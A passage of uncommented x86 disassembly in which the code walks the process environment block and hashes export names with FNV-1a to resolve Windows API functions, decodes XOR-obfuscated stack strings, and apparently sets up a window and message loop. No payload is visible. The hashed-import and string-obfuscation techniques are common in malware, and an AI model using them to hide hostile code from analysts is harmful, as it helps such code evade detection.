je 0x424e6e
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424e41
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x23a979e4
mov esi, dword [eax + 0x18]
je 0x424e79
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x424e09
mov eax, dword [eax]
jmp 0x424dd9
mov edx, dword [ebp - 0x374]
push dword [ebp - 0x4b4]
push dword [ebp - 0x4b8]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
lea ecx, [ebp - 0x44f]
mov eax, dword [eax + esi]
push ecx
add eax, esi
push ebx
call eax
jmp 0x424c40
movaps xmm0, xmmword [0x4cef20]
mov dword [ebp - 0x4bc], ebx
mov dword [ebp - 0x4fc], ebx
mov dword [ebp - 0x4c0], ebx
mov dword [ebp - 0x4c4], 0x258
mov dword [ebp - 0x4c8], 0x320
mov dword [ebp - 0x4cc], 0xa
mov dword [ebp - 0x4d0], 0xa
mov dword [ebp - 0x4d4], Ordinal_4
movups xmmword [ebp - 0x510], xmm0
mov word [ebp - 0x500], 0x44
mov al, byte [ebp - 0x510]
xor byte [ebp + ecx - 0x50f], al
inc ecx
cmp ecx, 0x10
jb 0x424f0a
lea eax, [ebp - 0x50f]
mov byte [ebp - 0x4ff], bl
mov dword [ebp - 0x768], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x790], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x427193
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x427193
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x42718b
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x424fb5
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x177258eb
jne 0x427185
push dword [ebp - 0x4bc]
mov eax, dword [ebp - 0x37c]
push dword [ebp - 0x354]
push dword [ebp - 0x4fc]
mov ecx, dword [eax + 0x1c]
push dword [ebp - 0x4c0]
mov eax, dword [eax + 0x24]
add ecx, esi
push dword [ebp - 0x4c4]
add eax, esi
push dword [ebp - 0x4c8]
push dword [ebp - 0x4cc]
movzx eax, word [eax + edi*2]
push dword [ebp - 0x4d0]
push dword [ebp - 0x4d4]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x50f]
push ecx
push dword [ebp - 0x340]
add eax, esi
push ebx
call eax
mov dword [ebp - 0x334], eax
test eax, eax
mov eax, dword fs:[0x30]
jne 0x4252a6
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x4250f1
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4250f1
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x4250ed
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4250c0
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x5e93403c
mov esi, dword [eax + 0x18]
je 0x4250f8
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x425088
mov eax, dword [eax]
jmp 0x425058
mov edx, dword [ebp - 0x374]
push dword [ebp - 0x354]
push dword [ebp - 0x340]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
call eax
movaps xmm0, xmmword [0x4cea60]
mov ecx, ebx
mov dword [ebp - 0x4d8], ebx
movups xmmword [ebp - 0x57c], xmm0
mov word [ebp - 0x56c], 0x3f
mov al, byte [ebp - 0x57c]
xor byte [ebp + ecx - 0x57b], al
inc ecx
cmp ecx, 0x10
jb 0x425140
movaps xmm0, xmmword [0x4cefe0]
lea eax, [ebp - 0x57b]
mov byte [ebp - 0x56b], bl
mov ecx, ebx
mov dword [ebp - 0x4dc], eax
movups xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x420], 0x5b337d76
mov dword [ebp - 0x41c], 0x33726772
mov dword [ebp - 0x418], 0xed667f5c
mov word [ebp - 0x414], 0x6667
mov byte [ebp - 0x412], bl
mov al, byte [ebp - 0x430]
xor byte [ebp + ecx - 0x42f], al
inc ecx
cmp ecx, 0x1d
jb 0x4251a2
lea eax, [ebp - 0x42f]
mov byte [ebp - 0x412], bl
mov dword [ebp - 0x78c], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x784], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x425272
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x425272
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x42526e
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425241
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x23a979e4
mov esi, dword [eax + 0x18]
je 0x425279
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x425209
mov eax, dword [eax]
jmp 0x4251d9
mov edx, dword [ebp - 0x374]
push dword [ebp - 0x4d8]
push dword [ebp - 0x4dc]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
lea ecx, [ebp - 0x42f]
jmp 0x424ea1
mov dword [ebp - 0x760], 0x20
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x42717e
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42717e
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x427176
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x42532a
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x8f360cf6
jne 0x427170
mov eax, dword [ebp - 0x37c]
push 0x20
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
call eax
mov esi, eax
mov dword [0x4d9034], esi
test esi, esi
jne 0x4255be
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x425426
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x425426
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x425422
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4253f5
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x5e93403c
mov esi, dword [eax + 0x18]
je 0x42542d
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x4253bd
mov eax, dword [eax]
jmp 0x42538d
mov edx, dword [ebp - 0x374]
push dword [ebp - 0x354]
push dword [ebp - 0x340]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
call eax
movaps xmm0, xmmword [0x4ceff0]
mov ecx, ebx
mov dword [ebp - 0x4e0], ebx
movups xmmword [ebp - 0x568], xmm0
mov word [ebp - 0x558], 0x6a
mov al, byte [ebp - 0x568]
xor byte [ebp + ecx - 0x567], al
inc ecx
cmp ecx, 0x10
jb 0x425475
movaps xmm0, xmmword [0x4cefb0]
lea eax, [ebp - 0x567]
mov byte [ebp - 0x557], bl
mov ecx, ebx
mov dword [ebp - 0x4e4], eax
movups xmmword [ebp - 0x468], xmm0
mov dword [ebp - 0x458], 0x377f7264
mov byte [ebp - 0x454], bl
mov al, byte [ebp - 0x468]
xor byte [ebp + ecx - 0x467], al
inc ecx
cmp ecx, 0x13
jb 0x4254ba
lea eax, [ebp - 0x467]
mov byte [ebp - 0x454], bl
mov dword [ebp - 0x788], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x780], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x42558a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42558a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x425586
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425559
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x23a979e4
mov esi, dword [eax + 0x18]
je 0x425591
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x425521
mov eax, dword [eax]
jmp 0x4254f1
mov edx, dword [ebp - 0x374]
push dword [ebp - 0x4e0]
push dword [ebp - 0x4e4]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
lea ecx, [ebp - 0x467]
jmp 0x424ea1
push 0x38
push ebx
mov edi, 0x4d8ffc
push edi
call fcn.00434480
add esp, 0xc
mov dword [0x4d9004], ebx
xor ecx, ecx
mov dword [0x4d9024], 0x50
inc ecx
mov dword [0x4d901c], ecx
push 0x4d9038
push edi
push 0x40
push dword [ebp - 0x334]
mov dword [0x4d9014], ecx
push ecx
mov dword [0x4d9020], ecx
mov dword [0x4d9030], ecx
mov eax, dword [esi]
push ebx
push esi
call dword [eax + 0x40]
test eax, eax
jns 0x4256fd
mov eax, dword [0x4d9034]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x4256c8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4256c8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x4256c4
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425697
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x5e93403c
mov esi, dword [eax + 0x18]
je 0x4256cf
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x42565f
mov eax, dword [eax]
jmp 0x42562f
mov edx, dword [ebp - 0x374]
push dword [ebp - 0x354]
push dword [ebp - 0x340]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
call eax
jmp 0x424c40
xor ecx, ecx
call fcn.00405c02
mov esi, dword [0x4d8ff8]
mov edi, 0x4cd354
movss xmm3, dword [0x4ce81c]
push edi
push ebx
mov ecx, dword [esi + 0x98]
push 0x4d083
push 0x471828
call fcn.00418e76
movss xmm3, dword [0x4ce820]
mov ecx, dword [esi + 0x98]
push edi
push ebx
push 0xdadf
push 0x4be8b0
call fcn.00418e76
mov ecx, dword [esi + 0x98]
mov dword [ebp - 0x388], eax
call fcn.0041a202
movss xmm3, dword [0x4ce808]
mov edi, 0x46a638
mov ecx, dword [esi + 0x98]
push eax
push ebx
push 0x71e3
push edi
call fcn.00418e76
mov ecx, dword [esi + 0x98]
mov dword [ebp - 0x4ec], eax
call fcn.0041a202
movss xmm3, dword [0x4ce810]
mov ecx, dword [esi + 0x98]
push eax
push ebx
push 0x71e3
push edi
call fcn.00418e76
mov ecx, dword [esi + 0x98]
call fcn.0041a202
movss xmm3, dword [0x4ce814]
mov ecx, dword [esi + 0x98]
push eax
push ebx
push 0x71e3
push edi
call fcn.00418e76
mov ecx, dword [esi + 0x98]
mov dword [ebp - 0x408], eax
call fcn.0041a202
movss xmm3, dword [0x4ce824]
mov ecx, dword [esi + 0x98]
push eax
push ebx
push 0x71e3
push edi
call fcn.00418e76
mov ecx, dword [esi + 0x98]
mov dword [ebp - 0x4f0], eax
call fcn.0041a202
movss xmm3, dword [0x4ce834]
mov ecx, dword [esi + 0x98]
push eax
push ebx
push 0x71e3
push edi
call fcn.00418e76
mov dword [esi + 0x20], ebx
mov ecx, dword [ebp - 0x334]
mov dword [ebp - 0x378], eax
call fcn.0041c0c8
mov ecx, dword [0x4d9038]
call fcn.0041bee1
mov eax, dword fs:[0x30]
mov dword [ebp - 0x764], 5
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x427169
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x427169
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x427161
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4258d1
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0xc98b9e00
jne 0x42715b
mov eax, dword [ebp - 0x37c]
push 5
push dword [ebp - 0x334]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x427154
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x427154
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x42714c
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x42599e
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x8bc7bca8
jne 0x427146
mov eax, dword [ebp - 0x37c]
push dword [ebp - 0x334]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
call eax
xor eax, eax
lea edi, [ebp - 0x1a0]
push 7
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x76c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x37c], ecx
cmp ecx, esi
je 0x42713f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42713f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x427137
mov cl, byte [ebp - 0x369]
mov ebx, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425a82
mov dword [ebp - 0x370], ebx
xor ebx, ebx
cmp dword [ebp - 0x370], 0x1bad7009
jne 0x427131
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x124]
add eax, esi
push ecx
call eax
xorps xmm0, xmm0
movss dword [ebp - 0x37c], xmm0
cmp dword [ebp - 0x19c], 0x12
je 0x426f56
mov eax, dword [0x4dafc8]
test eax, eax
jne 0x425bab
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x380], ecx
cmp ecx, esi
je 0x425b86
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x425b86
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x425b7c
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425b55
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x2706d4d4
mov esi, dword [eax + 0x18]
je 0x425b8d
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x425b2f
mov eax, dword [eax]
jmp 0x425aff
mov eax, dword [ebp - 0x380]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
mov dword [0x4dafc8], eax
push 1
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x1a0]
push ecx
call eax
test eax, eax
je 0x425d66
mov eax, dword [0x4dafc0]
test eax, eax
jne 0x425c88
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x425c61
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x425c61
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x380], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x425c57
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425c30
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0xe2f28554
mov esi, dword [eax + 0x18]
je 0x425c68
mov ecx, dword [ebp - 0x380]
test edi, edi
jne 0x425c0a
mov eax, dword [eax]
jmp 0x425bda
mov edx, dword [ebp - 0x374]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4dafc0], eax
lea ecx, [ebp - 0x1a0]
push ecx
call eax
mov eax, dword [0x4dafd8]
test eax, eax
jne 0x425d58
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x425d31
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x425d31
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x380], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x425d27
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425d00
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x1b39d169
mov esi, dword [eax + 0x18]
je 0x425d38
mov ecx, dword [ebp - 0x380]
test edi, edi
jne 0x425cda
mov eax, dword [eax]
jmp 0x425caa
mov edx, dword [ebp - 0x374]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4dafd8], eax
lea ecx, [ebp - 0x1a0]
push ecx
call eax
jmp 0x425ad9
cmp dword [0x4d90fc], 0
jne 0x425d7d
cmp dword [0x4d9104], 0
je 0x425d7d
call fcn.0041bf2b
call fcn.0041c5ad
call fcn.004067f0
cmp byte [ebp - 0x119], 0
je 0x426f56
mov dword [ebp - 0x4e8], ebx
mov cl, 9
mov dword [ebp - 0x3c8], 0x55334a09
mov eax, ebx
mov dword [ebp - 0x3c4], 0x67686151
mov dword [ebp - 0x3c0], 0x7b6c6e
xor byte [ebp + eax - 0x3c7], cl
inc eax
cmp eax, 0xa
jae 0x425dd1
mov cl, byte [ebp - 0x3c8]
jmp 0x425dbc
lea eax, [ebp - 0x3c7]
mov byte [ebp - 0x3bd], bl
mov dword [ebp - 0x770], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x380], ecx
cmp ecx, esi
je 0x426f4f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x426f4f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x374], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x374]
je 0x426f47
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425e63
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0xb0c98c53
mov esi, dword [eax + 0x18]
jne 0x426f41
mov eax, dword [ebp - 0x380]
push dword [ebp - 0x4e8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x3c7]
add eax, esi
push ecx
call eax
mov ecx, dword [0x4dafd4]
test ecx, ecx
jne 0x425f7d
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x425f57
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x425f57
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x380], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x425f4d
mov esi, dword [ebp - 0x370]
